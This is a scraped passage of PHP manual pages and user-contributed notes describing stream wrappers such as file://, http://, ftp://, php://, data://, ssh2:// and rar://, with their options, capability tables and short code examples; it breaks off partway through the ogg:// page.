When reading a base64 encoded stream using php://input, be aware that you do not need to decode it, it will automatically be done for you.
nyvsld at gmail dot com 27-Nov-2005 10:28
php://stdin supports fseek() and fstat() function call,
while php://input doesn't.
drewish at katherinehouse dot com 24-Sep-2005 11:50
Be aware that contrary to the way this makes it sound, under Apache, php://output and php://stdout don't point to the same place.

<?php
$fo = fopen('php://output', 'w');
$fs = fopen('php://stdout', 'w');

fputs($fo, "You can see this with the CLI and Apache.\n");
fputs($fs, "This only shows up on the CLI...\n");

fclose($fo);
fclose($fs);
?>

Using the CLI you'll see:
  You can see this with the CLI and Apache.
  This only shows up on the CLI...

Using the Apache SAPI you'll see:
  You can see this with the CLI and Apache.
chris at free-source dot com 26-Apr-2005 12:52
If you're looking for a unix based smb wrapper there isn't one built in,  but I've had luck with http://www.zevils.com/cgi-bin/viewcvs.cgi/libsmbclient-php/ (tarball link at the end).
nargy at yahoo dot com 24-Sep-2004 03:16
When opening php://output in append mode you get an error, the way to do it:
$fp=fopen("php://output","w");
fwrite($fp,"Hello, world !<BR>\n");
fclose($fp);
aidan at php dot net 27-May-2004 03:34
The contants:

* STDIN
* STDOUT
* STDERR

Were introduced in PHP 4.3.0 and are synomous with the fopen('php://stdx') result resource.
lupti at yahoo dot com 29-Nov-2003 02:04
I find using file_get_contents with php://input is very handy and efficient. Here is the code:

$request = "";
$request = file_get_contents("php://input");

I don't need to declare the URL filr string as "r". It automatically handles open the file with read.

I can then use this $request string to your XMLparser as data.
sam at bigwig dot net 15-Aug-2003 08:02
[ Editor's Note: There is a way to know.  All response headers (from both the final responding server and intermediate redirecters) can be found in $http_response_header or stream_get_meta_data() as described above. ]

If you open an HTTP url and the server issues a Location style redirect, the redirected contents will be read but you can't find out that this has happened.

So if you then parse the returned html and try and rationalise relative URLs you could get it wrong.
Context parameters
file://
Language Reference


Accessing local filesystem

Supported Protocols and Wrappers
http://
Supported Protocols and Wrappers
PHP Manual

file://

file:// — Accessing local filesystem

Description

Filesystem is the default wrapper used with PHP and represents the local filesystem. When a relative path is specified (a path which does not begin with /, \, \\, or a Windows drive letter) the path provided will be applied against the current working directory. In many cases this is the directory in which the script resides unless it has been changed. Using the CLI sapi, this defaults to the directory from which the script was called.

With some functions, such as fopen() and file_get_contents(), include_path may be optionally searched for relative paths as well.

Options

  • /path/to/file.ext
  • relative/path/to/file.ext
  • fileInCwd.ext
  • C:/path/to/winfile.ext
  • C:\path\to\winfile.ext
  • \\smbserver\share\path\to\winfile.ext
  • file:///path/to/file.ext

Options

Wrapper Summary
Attribute | Supported
Restricted by allow_url_fopen | No
Allows Reading | Yes
Allows Writing | Yes
Allows Appending | Yes
Allows Simultaneous Reading and Writing | Yes
Supports stat() | Yes
Supports unlink() | Yes
Supports rename() | Yes
Supports mkdir() | Yes
Supports rmdir() | Yes

Changelog

Version | Description
5.0.0 | Added file://.

User Contributed Notes

There are no user contributed notes for this page.
Supported Protocols and Wrappers
http://
Supported Protocols and Wrappers


Accessing HTTP(s) URLs

file://
ftp://
Supported Protocols and Wrappers
PHP Manual

http://

https://

http:// -- https:// — Accessing HTTP(s) URLs

Description

Allows read-only access to files/resources via HTTP 1.0, using the HTTP GET method. A Host: header is sent with the request to handle name-based virtual hosts. If you have configured a user_agent string using your php.ini file or the stream context, it will also be included in the request.

The stream allows access to the body of the resource; the headers are stored in the $http_response_header variable.

If it's important to know the URL of the resource where your document came from (after all redirects have been processed), you'll need to process the series of response headers returned by the stream.

The from directive will be used for the From: header if set and not overwritten by the Context options and parameters.

Options

  • http://example.com
  • http://example.com/file.php?var1=val1&var2=val2
  • http://user:password@example.com
  • https://example.com
  • https://example.com/file.php?var1=val1&var2=val2
  • https://user:password@example.com

Options

Wrapper Summary
Attribute | Supported
Restricted by allow_url_fopen | Yes
Allows Reading | Yes
Allows Writing | No
Allows Appending | No
Allows Simultaneous Reading and Writing | N/A
Supports stat() | No
Supports unlink() | No
Supports rename() | No
Supports mkdir() | No
Supports rmdir() | No

Changelog

Version | Description
4.3.7 | Detect buggy IIS servers to avoid "SSL: Fatal Protocol Error" errors.
4.3.0 | Added https://.
4.0.5 | Added support for redirects.

Examples

Example #1 Detecting which URL we ended up on after redirects

<?php
$url = 'http://www.example.com/redirecting_page.php';

$fp = fopen($url, 'r');

$meta_data = stream_get_meta_data($fp);
foreach ($meta_data['wrapper_data'] as $response) {

    /* Were we redirected? */
    if (strtolower(substr($response, 0, 10)) == 'location: ') {

        /* update $url with where we were redirected to */
        $url = substr($response, 10);
    }

}

?>

Example #2 Sending custom headers with an HTTP request

Custom headers may be sent using context options. It is also possible to use this hack: Custom headers may be sent with an HTTP request by taking advantage of a side-effect in the handling of the user_agent INI setting. Set user_agent to any valid string (such as the default PHP/version setting) followed by a carriage-return/line-feed pair and any additional headers.

<?php
ini_set('user_agent', "PHP\r\nX-MyCustomHeader: Foo");

$fp = fopen('http://www.example.com/index.php', 'r');
?>

Results in the following request being sent:

GET /index.php HTTP/1.0
Host: www.example.com
User-Agent: PHP
X-MyCustomHeader: Foo

Notes

Note: HTTPS is only supported when the openssl extension is enabled.

HTTP connections are read-only; writing data or copying files to an HTTP resource is not supported.

Sending POST and PUT requests, for example, can be done with the help of HTTP Contexts.

See Also

  • HTTP context options
  • $http_response_header
  • stream_get_meta_data() - Retrieves header/meta data from streams/file pointers

User Contributed Notes

Nick Lewis 26-Jun-2008 04:17
A note on how to deal with Cookies

To receive a cookie:

$httphandle = fopen($url,"r");
$meta = stream_get_meta_data($httphandle);
for ($j = 0; isset($meta['wrapper_data'][$j]); $j++) {
   $httpline = $meta['wrapper_data'][$j];
   @list($header,$parameters) = explode(";",$httpline,2);
   @list($attr,$value) = explode(":",$header,2);
   if (strtolower(trim($attr)) == "set-cookie") {
      $cookie = trim($value);
      break;
   }
}
fclose($httphandle);
echo $cookie;

To send a cookie:

$user_agent = ini_get("user_agent");
ini_set("user_agent",$user_agent . "\r\nCookie: " . $cookie);
$httphandle = fopen($url,"r");
fclose($httphandle);
ini_set("user_agent",$user_agent);
spazdaq 24-Oct-2007 03:27
just an FYI about digest authentication.

While one of the above http examples has the username and password info supplied with the url, this must only be for basic authentication. it does not appear to work for digest authentication. you have to handle the digest followup request on your own.
NEA at AraTaraBul dot com 29-Jul-2007 04:06
HTTP post function;

<?php
function post_it($datastream, $url) {

$url = preg_replace("@^http://@i", "", $url);
$host = substr($url, 0, strpos($url, "/"));
$uri = strstr($url, "/");

      $reqbody = "";
      foreach($datastream as $key=>$val) {
          if (!empty($reqbody)) $reqbody.= "&";
      $reqbody.= $key."=".urlencode($val);
      }

$contentlength = strlen($reqbody);
     $reqheader =  "POST $uri HTTP/1.1\r\n".
                   "Host: $host\n". "User-Agent: PostIt\r\n".
     "Content-Type: application/x-www-form-urlencoded\r\n".
     "Content-Length: $contentlength\r\n\r\n".
     "$reqbody\r\n";

$socket = fsockopen($host, 80, $errno, $errstr);

if (!$socket) {
   $result["errno"] = $errno;
   $result["errstr"] = $errstr;
   return $result;
}

fputs($socket, $reqheader);

while (!feof($socket)) {
   $result[] = fgets($socket, 4096);
}

fclose($socket);

return $result;
}
?>
Sinured 28-Jun-2007 03:24
If you want to send more than one custom header, just make header an array:

<?php
$default_opts = array(
    'http' => array(
        'user_agent' => 'Foobar',
        'header' => array(
            'X-Foo: Bar',
            'X-Bar: Baz'
        )
    )
);
stream_context_get_default($default_opts);
readfile('http://www.xhaus.com/headers');
?>
dwalton at acm dot org 17-Nov-2006 12:18
As it says on this page:

"The stream allows access to the body of the resource; the headers are stored in the $http_response_header variable. Since PHP 4.3.0, the headers are available using stream_get_meta_data()."

This one sentence is the only documentation I have found on the mysterious $http_response_header variable, and I'm afraid it's misleading.  It implies that from 4.3.0 onward, stream_get_meta_data() ought to be used in favor of $http_response_header.

Don't be fooled!  stream_get_meta_data() requires a stream reference, which makes it ONLY useful with fopen() and related functions.  However, $http_response_header can be used to get the headers from the much simpler file_get_contents() and related functions, which makes it still very useful in 5.x.

Also note that even when file_get_contents() and friends fail due to a 4xx or 5xx error and return false, the headers are still available in $http_response_header.
file://
ftp://
Supported Protocols and Wrappers


Accessing FTP(s) URLs

http://
php://
Supported Protocols and Wrappers
PHP Manual

ftp://

ftps://

ftp:// -- ftps:// — Accessing FTP(s) URLs

Description

Allows read access to existing files and creation of new files via FTP. If the server does not support passive mode ftp, the connection will fail.

You can open files for either reading or writing, but not both simultaneously. If the remote file already exists on the ftp server and you attempt to open it for writing but have not specified the context option overwrite, the connection will fail. If you need to overwrite existing files over ftp, specify the overwrite option in the context and open the file for writing. Alternatively, you can use the FTP extension.

If you have set the from directive in php.ini, then this value will be sent as the anonymous FTP password.

Options

  • ftp://example.com/pub/file.txt
  • ftp://user:password@example.com/pub/file.txt
  • ftps://example.com/pub/file.txt
  • ftps://user:password@example.com/pub/file.txt

Options

Wrapper Summary
Attribute | PHP 4 | PHP 5
Restricted by allow_url_fopen | Yes | Yes
Allows Reading | Yes | Yes
Allows Writing | Yes (new files only) | Yes (new files/existing files with overwrite)
Allows Appending | No | Yes
Allows Simultaneous Reading and Writing | No | No
Supports stat() | No | As of PHP 5.0.0: filesize(), filetype(), file_exists(), is_file(), and is_dir() elements only. As of PHP 5.1.0: filemtime().
Supports unlink() | No | Yes
Supports rename() | No | Yes
Supports mkdir() | No | Yes
Supports rmdir() | No | Yes

Changelog

Version | Description
4.3.0 | Added ftps://.

Notes

Note:

FTPS is only supported when the openssl extension is enabled.

If the server does not support SSL, then the connection falls back to regular unencrypted ftp.

Note: Appending
As of PHP 5.0.0 files may be appended via the ftp:// URL wrapper. In prior versions, attempting to append to a file via ftp:// will result in failure.

See Also

  • FTP context options

User Contributed Notes

fazil dot stormhammer dot nospam at gmail dot com 25-Apr-2008 01:41
Document says "Allows read access to existing files and creation of new files via FTP. If the server does not support passive mode ftp, the connection will fail. "

As of version 5.2.5 at least fopen("ftp://...") uses an ACTIVE mode connection by default (it issues an FTP PORT command but not a PASV command).  To force passive mode:

$f = fopen("ftp://...");
ftp_pasv($f, true);
wlangdon at essex dot ac dot uk 09-Oct-2006 09:32
old fashioned FTP servers may not be compatible with ftp_connect().
25-Sep-2005 08:33
<?
$str ="replace all contenents";
$filew="ftp://gufo:gufo@192.168.1.55:21/jj.php";
$opts = array('ftp' => array('overwrite' => true));
$context = stream_context_create($opts);
$strwri = file_put_contents($filew,$str,LOCK_EX,$context);
?>
php at f00n dot com 04-Jul-2004 12:39
For Intranet purposes I found I preferred to move my file via ftp functions to match the session user's ftp account and put the file in a holding bay so I knew who it was from.

The FTP wrapper method will NOT do this if your ftp server does NOT support passive mode.

eg.  an ftp server behind NAT/routing
http://
php://
Supported Protocols and Wrappers


Accessing various I/O streams

ftp://
zlib://
Supported Protocols and Wrappers
PHP Manual

php://

php:// — Accessing various I/O streams

Description

PHP provides a number of miscellaneous I/O streams that allow access to PHP's own input and output streams, the standard input, output and error file descriptors, in-memory and disk-backed temporary file streams, and filters that can manipulate other file resources as they are read from and written to.

php://stdin, php://stdout and php://stderr

php://stdin, php://stdout and php://stderr allow direct access to the corresponding input or output stream of the PHP process. The stream references a duplicate file descriptor, so if you open php://stdin and later close it, you close only your copy of the descriptor-the actual stream referenced by STDIN is unaffected. Note that PHP exhibited buggy behavior in this regard until PHP 5.2.1. It is recommended that you simply use the constants STDIN, STDOUT and STDERR instead of manually opening streams using these wrappers.

php://stdin is read-only, whereas php://stdout and php://stderr are write-only.

php://input

php://input is a read-only stream that allows you to read raw data from the request body. In the case of POST requests, it is preferable to use php://input instead of $HTTP_RAW_POST_DATA as it does not depend on special php.ini directives. Moreover, for those cases where $HTTP_RAW_POST_DATA is not populated by default, it is a potentially less memory intensive alternative to activating always_populate_raw_post_data. php://input is not available with enctype="multipart/form-data".

Note: A stream opened with php://input can only be read once; the stream does not support seek operations. However, depending on the SAPI implementation, it may be possible to open another php://input stream and restart reading. This is only possible if the request body data has been saved. Typically, this is the case for POST requests, but not other request methods, such as PUT or PROPFIND.

php://output

php://output is a write-only stream that allows you to write to the output buffer mechanism in the same way as print() and echo().

php://fd

php://fd allows direct access to the given file descriptor. For example, php://fd/3 refers to file descriptor 3.

php://memory and php://temp

php://memory and php://temp are read-write streams that allow temporary data to be stored in a file-like wrapper. The only difference between the two is that php://memory will always store its data in memory, whereas php://temp will use a temporary file once the amount of data stored hits a predefined limit (the default is 2 MB). The location of this temporary file is determined in the same way as the sys_get_temp_dir() function.

The memory limit of php://temp can be controlled by appending /maxmemory:NN, where NN is the maximum amount of data to keep in memory before using a temporary file, in bytes.

php://filter

php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. This is useful with all-in-one file functions such as readfile(), file(), and file_get_contents() where there is otherwise no opportunity to apply a filter to the stream prior the contents being read.

The php://filter target takes the following parameters as part of its path. Please refer to the examples for specifics on using these parameters.

php://filter parameters
Name | Description
resource=<stream to be filtered> | This parameter is required. It specifies the stream that you would like to filter.
read=<filter list to apply to read chain> | This parameter is optional. One or more filter names can be provided here, separated by the pipe character (|).
write=<filter list to apply to write chain> | This parameter is optional. One or more filter names can be provided here, separated by the pipe character (|).
<filter list to apply to both chains> | Any filter lists which are not prefixed by read= or write= will be applied to both the read and write chains as appropriate.

Options

Wrapper Summary (for php://filter, refer to the summary of the wrapper being filtered)
Attribute | Supported
Restricted by allow_url_fopen | No
Restricted by allow_url_include | php://input, php://stdin, php://memory and php://temp only.
Allows Reading | php://stdin, php://input, php://fd, php://memory and php://temp only.
Allows Writing | php://stdout, php://stderr, php://output, php://fd, php://memory and php://temp only.
Allows Appending | php://stdout, php://stderr, php://output, php://fd, php://memory and php://temp only. (Equivalent to writing)
Allows Simultaneous Reading and Writing | php://fd, php://memory and php://temp only.
Supports stat() | php://memory and php://temp only.
Supports unlink() | No
Supports rename() | No
Supports mkdir() | No
Supports rmdir() | No
Supports stream_select() | php://stdin, php://stdout, php://stderr, php://fd and php://temp only.

Changelog

Version | Description
5.3.6 | php://fd was added.
5.1.0 | php://memory and php://temp were added.
5.0.0 | php://filter was added.

Examples

Example #1 php://temp/maxmemory

This optional parameter allows setting the memory limit before php://temp starts using a temporary file.

<?php
// Set the limit to 5 MB.
$fiveMBs = 5 * 1024 * 1024;
$fp = fopen("php://temp/maxmemory:$fiveMBs", 'r+');

fputs($fp, "hello\n");

// Read what we have written.
rewind($fp);
echo stream_get_contents($fp);
?>

Example #2 php://filter/resource=<stream to be filtered>

This parameter must be located at the end of your php://filter specification and should point to the stream which you want filtered.

<?php
/* This is equivalent to simply:
  readfile("http://www.example.com");
  since no filters are actually specified */

readfile("php://filter/resource=http://www.example.com");
?>

Example #3 php://filter/read=<filter list to apply to read chain>

This parameter takes one or more filternames separated by the pipe character |.

<?php
/* This will output the contents of
  www.example.com entirely in uppercase */
readfile("php://filter/read=string.toupper/resource=http://www.example.com");

/* This will do the same as above
  but will also ROT13 encode it */
readfile("php://filter/read=string.toupper|string.rot13/resource=http://www.example.com");
?>

Example #4 php://filter/write=<filter list to apply to write chain>

This parameter takes one or more filternames separated by the pipe character |.

<?php
/* This will filter the string "Hello World"
  through the rot13 filter, then write to
  example.txt in the current directory */
file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");
?>

User Contributed Notes

There are no user contributed notes for this page.
ftp://
zlib://
Supported Protocols and Wrappers


Compression Streams

php://
data://
Supported Protocols and Wrappers
PHP Manual

zlib://

bzip2://

zip://

zlib:// -- bzip2:// -- zip:// — Compression Streams

Description

zlib: PHP 4.0.4 - PHP 4.2.3 (systems with fopencookie only)

compress.zlib:// and compress.bzip2:// PHP 4.3.0 and up

zlib: works like gzopen(), except that the stream can be used with fread() and the other filesystem functions. This is deprecated as of PHP 4.3.0 due to ambiguities with filenames containing ':' characters; use compress.zlib:// instead.

compress.zlib:// and compress.bzip2:// are equivalent to gzopen() and bzopen() respectively, and operate even on systems that do not support fopencookie.

ZIP extension registers zip: wrapper.

Options

  • zlib:
  • compress.zlib://
  • compress.bzip2://

Options

Wrapper Summary
Attribute | Supported
Restricted by allow_url_fopen | No
Allows Reading | Yes
Allows Writing | Yes (except zip://)
Allows Appending | Yes (except zip://)
Allows Simultaneous Reading and Writing | No
Supports stat() | No, use the normal file:// wrapper to stat compressed files.
Supports unlink() | No, use the normal file:// wrapper to unlink compressed files.
Supports rename() | No
Supports mkdir() | No
Supports rmdir() | No

User Contributed Notes

alvaro at demogracia dot com 12-Apr-2011 07:41
Example on how to read an entry from a ZIP archive (file "bar.txt" inside "./foo.zip"):

<?php

$fp = fopen('zip://./foo.zip#bar.txt', 'r');
if( $fp ){
    while( !feof($fp) ){
        echo fread($fp, 8192);
    }
    fclose($fp);
}

?>

Also, apparently, the "zip:" wrapper does not allow writing as of PHP/5.3.6. You can read http://php.net/ziparchive-getstream for further reference since the underlying code is probably the same.
joshualross at gmail dot com 19-Aug-2007 12:24
I had a difficult time finding how to use compress.zlib with an http resource so I thought I would post what I found
<?php
$file = 'compress.zlib://http://www.example.com/myarchive.gz';
$fr = fopen($file, 'rb');
?>

Per the bugreport I found here (http://bugs.php.net/bug.php?id=29045)
php://
data://
Supported Protocols and Wrappers


Data (RFC 2397)

zlib://
glob://
Supported Protocols and Wrappers
PHP Manual

data://

data:// — Data (RFC 2397)

Description

The data: (» RFC 2397) stream wrapper is available since PHP 5.2.0.

Options

  • data://text/plain;base64,

Options

Wrapper Summary
Attribute | Supported
Restricted by allow_url_fopen | No
Restricted by allow_url_include | Yes
Allows Reading | Yes
Allows Writing | No
Allows Appending | No
Allows Simultaneous Reading and Writing | No
Supports stat() | No
Supports unlink() | No
Supports rename() | No
Supports mkdir() | No
Supports rmdir() | No

Examples

Example #1 Print data:// contents

<?php
// prints "I love PHP"
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
?>

Example #2 Fetch the media type

<?php
$fp   = fopen('data://text/plain;base64,', 'r');
$meta = stream_get_meta_data($fp);

// prints "text/plain"
echo $meta['mediatype'];
?>

User Contributed Notes

senica at gmail dot com 03-Oct-2011 01:20
You can use data:// to evaluate php that is stored in mySQL

For example:

If you have code stored that looks like this:
$content = ' //Content from your database or variable
  <?php if($var == "something"): ?>
    print this html
  <?php endif; ?>
';

Trying to evaluate this can prove cumbersome

But you can do something like:

include "data://text/plain;base64,".base64_encode($content);

and it will parse it with no problems.
from dot php dot net at brainbox dot cz 18-Nov-2010 04:37
When passing plain string without base64 encoding, do not forget to pass the string through URLENCODE(), because PHP automatically urldecodes all entities inside passed string (and therefore all + get lost, all % entities will be converted to the corresponding characters).

In this case, PHP is strictly compilant with the RFC 2397. Section 3 states that passes data should be either in base64 encoding or urlencoded.

VALID USAGE:
<?php
$fp = fopen('data:text/plain,'.urlencode($data), 'rb'); // urlencoded data
$fp = fopen('data:text/plain;base64,'.base64_encode($data), 'rb'); // base64 encoded data
?>

Demonstration of invalid usage:
<?php
$data = 'Günther says: 1+1 is 2, 10%40 is 20.';

$fp = fopen('data:text/plain,'.$data, 'rb'); // INVALID, never do this
echo stream_get_contents($fp);
// Günther says: 1 1 is 2, 10@ is 20. // ERROR

$fp = fopen('data:text/plain,'.urlencode($data), 'rb'); // urlencoded data
echo stream_get_contents($fp);
// Günther says: 1+1 is 2, 10%40 is 20. // OK

// Valid option 1: base64 encoded data
$fp = fopen('data:text/plain;base64,'.base64_encode($data), 'rb'); // base64 encoded data
echo stream_get_contents($fp);
// Günther says: 1+1 is 2, 10%40 is 20. // OK
?>
admin deskbitz net 02-May-2010 12:54
If you want to create a gd-image directly out of a sql-database-field you might want to use:

<?php
$jpegimage = imagecreatefromjpeg("data://image/jpeg;base64," . base64_encode($sql_result_array['imagedata']));
?>

this goes also for gif, png, etc using the correct "imagecreatefrom$$$"-function and mime-type.
sandaimespaceman at gmail dot com 06-Sep-2008 06:30
Now PHP supports data: protocol w/out "//" like data:text/plain, not data://text/plain,

I tried it.
togos00 at gmail dot com 08-Apr-2008 12:56
Note that the official data URI scheme does not include a double slash after the colon - that you must include it when making calls to PHP is an artifact of the designers' misunderstanding of URL syntax.

To automatically convert proper data URIs to ones understood by PHP, you can use code such as the following:

<?php
function convertUriForPhp( $uri ) {
    if( preg_match('/^data:(?!\\/\\/)(.*)$/',$uri,$bif) ) {
        return 'data://' . $bif[1];
    } else {
        return $uri;
    }
}
?>
zlib://
glob://
Supported Protocols and Wrappers


Find pathnames matching pattern

data://
phar://
Supported Protocols and Wrappers
PHP Manual

glob://

glob:// — Find pathnames matching pattern

Description

The glob: stream wrapper is available since PHP 5.3.0.

Options

  • glob://

Options

Wrapper Summary
Attribute | Supported
Restricted by allow_url_fopen | No
Restricted by allow_url_include | No
Allows Reading | No
Allows Writing | No
Allows Appending | No
Allows Simultaneous Reading and Writing | No
Supports stat() | No
Supports unlink() | No
Supports rename() | No
Supports mkdir() | No
Supports rmdir() | No

Examples

Example #1 Basic usage

<?php
// Loop over all *.php files in ext/spl/examples/ directory
// and print the filename and its size
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
    printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>
tree.php: 1.0K
findregex.php: 0.6K
findfile.php: 0.7K
dba_dump.php: 0.9K
nocvsdir.php: 1.1K
phar_from_dir.php: 1.0K
ini_groups.php: 0.9K
directorytree.php: 0.9K
dba_array.php: 1.1K
class_tree.php: 1.8K

User Contributed Notes

There are no user contributed notes for this page.
data://
phar://
Supported Protocols and Wrappers


PHP Archive

glob://
ssh2://
Supported Protocols and Wrappers
PHP Manual

phar://

phar:// — PHP Archive

Description

The phar:// stream wrapper is available since PHP 5.3.0. See Phar stream wrapper for detailed description.

Options

  • phar://

Options

Wrapper Summary
Attribute | Supported
Restricted by allow_url_fopen | No
Restricted by allow_url_include | No
Allows Reading | Yes
Allows Writing | Yes
Allows Appending | No
Allows Simultaneous Reading and Writing | Yes
Supports stat() | Yes
Supports unlink() | Yes
Supports rename() | Yes
Supports mkdir() | Yes
Supports rmdir() | Yes

See Also

  • Phar context options

User Contributed Notes

There are no user contributed notes for this page.
glob://
ssh2://
Supported Protocols and Wrappers


Secure Shell 2

phar://
rar://
Supported Protocols and Wrappers
PHP Manual

ssh2://

ssh2:// — Secure Shell 2

Description

ssh2.shell:// ssh2.exec:// ssh2.tunnel:// ssh2.sftp:// ssh2.scp:// PHP 4.3.0 and up (PECL)

Note: This wrapper is not enabled by default
In order to use the ssh2.*:// wrappers you must install the » SSH2 extension available from » PECL.

In addition to accepting traditional URI login details, the ssh2 wrappers will also reuse open connections by passing the connection resource in the host portion of the URL.

Options

  • ssh2.shell://user:pass@example.com:22/xterm
  • ssh2.exec://user:pass@example.com:22/usr/local/bin/somecmd
  • ssh2.tunnel://user:pass@example.com:22/192.168.0.1:14
  • ssh2.sftp://user:pass@example.com:22/path/to/filename

Options

Wrapper Summary
Attribute | ssh2.shell | ssh2.exec | ssh2.tunnel | ssh2.sftp | ssh2.scp
Restricted by allow_url_fopen | Yes | Yes | Yes | Yes | Yes
Allows Reading | Yes | Yes | Yes | Yes | Yes
Allows Writing | Yes | Yes | Yes | Yes | No
Allows Appending | No | No | No | Yes (When supported by server) | No
Allows Simultaneous Reading and Writing | Yes | Yes | Yes | Yes | No
Supports stat() | No | No | No | Yes | No
Supports unlink() | No | No | No | Yes | No
Supports rename() | No | No | No | Yes | No
Supports mkdir() | No | No | No | Yes | No
Supports rmdir() | No | No | No | Yes | No

Context options
Name | Usage | Default
session | Preconnected ssh2 resource to be reused |
sftp | Preallocated sftp resource to be reused |
methods | Key exchange, hostkey, cipher, compression, and MAC methods to use |
callbacks |  |
username | Username to connect as |
password | Password to use with password authentication |
pubkey_file | Name of public key file to use for authentication |
privkey_file | Name of private key file to use for authentication |
env | Associate array of environment variables to set |
term | Terminal emulation type to request when allocating a pty |
term_width | Width of terminal requested when allocating a pty |
term_height | Height of terminal requested when allocating a pty |
term_units | Units to use with term_width and term_height | SSH2_TERM_UNIT_CHARS

Examples

Example #1 Opening a stream from an active connection

<?php
$session = ssh2_connect('example.com', 22);
ssh2_auth_pubkey_file($session, 'username', '/home/username/.ssh/id_rsa.pub',
                                            '/home/username/.ssh/id_rsa', 'secret');
$stream = fopen("ssh2.tunnel://$session/remote.example.com:1234", 'r');
?>

User Contributed Notes

stm555 at hotmail dot com 12-Sep-2011 12:41
Note that using the resource inline in the uri does work, (ie, ssh2.sftp://$session/path/to/file) but will (at least in PHP 5.2.5) throw a "supplied resource is not a valid SSH2 SFTP resource in .." warning on things like file_get_contents.
phar://
rar://
Supported Protocols and Wrappers


RAR

ssh2://
ogg://
Supported Protocols and Wrappers
PHP Manual

rar://

rar:// — RAR

Description

The wrapper takes the url encoded path to the RAR archive (relative or absolute), an optional asterik (*), an optional number sign (#) and an optional url encoded entry name, as stored in the archive. Specifying an entry name requires the number sign; a leading forward slash in the entry name is optional.

This wrapper can open both files and directories. When opening directories, the asterisk sign forces the directory entries names to be returned unencoded. If it's not specified, they will be returned url encoded – the reason for this is to allow the wrapper to be correctly used with built-in functionality like the RecursiveDirectoryIterator in the presence of file names that seem like url encoded data.

If the pound sign and the entry name part are not included, the root of the archive will be displayed. This differs from regular directories in that the resulting stream will not contain information such as the modification time, as the root directory is not stored in an inidivual entry in the archive. The usage of the wrapper with RecursiveDirectoryIterator requires the number sign to be included in the URL when accessing the root, so that the URLs of the children may be constructed correctly.

Note: This wrapper is not enabled by default
In order to use the rar:// wrapper, you must install the » rar extension available from » PECL.

rar:// Available since PECL rar 3.0.0

Options

  • rar://<url encoded archive name>[*][#[<url encoded entry name>]]

Options

Wrapper Summary
Attribute | Supported
Restricted by allow_url_fopen | No
Restricted by allow_url_include | No
Allows Reading | Yes
Allows Writing | No
Allows Appending | No
Allows Simultaneous Reading and Writing | No
Supports stat() | Yes
Supports unlink() | No
Supports rename() | No
Supports mkdir() | No
Supports rmdir() | No

Context options
Name | Usage | Default
open_password | The password used to encrypt the headers of the archive, if any. WinRAR will encrypt all the files with the same password as the headers password when the later is present, so for archives with encrypted headers, file_password will be ignored. |
file_password | The password used to encrypt a file, if any. If the headers are also encrypted, this option will be ignored in favor of open_password. The reason there are two options is to cover the possibility of supporting archives with different headers and file passwords, should those archives arise. Note that if the archive does not have its headers encrypted, open_password will be ignored and this option must be used instead. |
volume_callback | A callback to determine the path of missing volumes. See RarArchive::open() for more information. |

Examples

Example #1 Traversing a RAR archive

<?php

class MyRecDirIt extends RecursiveDirectoryIterator {
    function current() {
        return rawurldecode($this->getSubPathName()) .
            (is_dir(parent::current())?" [DIR]":"");
    }
}

$f = "rar://" . rawurlencode(dirname(__FILE__)) .
    DIRECTORY_SEPARATOR . 'dirs_and_extra_headers.rar#';

$it = new RecursiveTreeIterator(new MyRecDirIt($f));

foreach ($it as $s) {
    echo $s, "\n";
}
?>

The above example will output something similar to:

|-allow_everyone_ni [DIR]
|-file1.txt
|-file2_אּ.txt
|-with_streams.txt
\-אּ [DIR]
  |-אּ\%2Fempty%2E [DIR]
  | \-אּ\%2Fempty%2E\file7.txt
  |-אּ\empty [DIR]
  |-אּ\file3.txt
  |-אּ\file4_אּ.txt
  \-אּ\אּ_2 [DIR]
    |-אּ\אּ_2\file5.txt
    \-אּ\אּ_2\file6_אּ.txt

Example #2 Opening an encrypted file (header encryption)

<?php
$stream = fopen("rar://" .
    rawurlencode(dirname(__FILE__)) . DIRECTORY_SEPARATOR .
    'encrypted_headers.rar' . '#encfile1.txt', "r", false,
    stream_context_create(
        array(
            'rar' =>
                array(
                    'open_password' => 'samplepassword'
                )
            )
        )
    );
var_dump(stream_get_contents($stream));
/* creation and last access date is opt-in in WinRAR, hence most
 * files don't have them */
var_dump(fstat($stream));
?>

The above example will output something similar to:

string(26) "Encrypted file 1 contents."
Array
(
    [0] => 0
    [1] => 0
    [2] => 33206
    [3] => 1
    [4] => 0
    [5] => 0
    [6] => 0
    [7] => 26
    [8] => 0
    [9] => 1259550052
    [10] => 0
    [11] => -1
    [12] => -1
    [dev] => 0
    [ino] => 0
    [mode] => 33206
    [nlink] => 1
    [uid] => 0
    [gid] => 0
    [rdev] => 0
    [size] => 26
    [atime] => 0
    [mtime] => 1259550052
    [ctime] => 0
    [blksize] => -1
    [blocks] => -1
)

User Contributed Notes

There are no user contributed notes for this page.
ssh2://
ogg://
Supported Protocols and Wrappers


Audio streams

rar://
expect://
Supported Protocols and Wrappers
PHP Manual

ogg://

ogg:// — Audio streams

Description

Files opened for reading via the ogg:// wrapper are treated as compressed audio encoded using the OGG/Vorbis codec. Similarly, files opened for writing or appending via the ogg:// wrapper are writen as compressed audio data. stream_get_meta_data(), when used on an OGG/Vorbis file opened for reading will return various details about the stream including the vendor tag, any included comments, the number of channels, the sampling rate, and the encoding rate range described by: bitrate_lower, bitrate_upper, bitrate_nominal, and bitrate_window.

ogg:// PHP 4.3.0 and up (PECL)

Note: This wrapper is not enabled by default
In order to use the ogg:// wrapper you must install the » OGG/Vorbis extension available from » PECL.

Options

  • ogg://soundfile.ogg
  • ogg:///path/to/soundfile.ogg
  • ogg://http://www.example.com/path/to/soundstream.ogg

Options

Wrapper Summary
Attribute | Supported
Restricted by allow_url_fopen | No
Allows Reading | Yes
Allows Writing | Yes
Allows Appending | Yes
Allows Simultaneous Reading and Writing | No
Supports stat() | No
Supports unlink() | No
Supports rename() | No
Supports mkdir() | No
Supports rmdir() | No

Context options
Name | Usage | Default | Mode
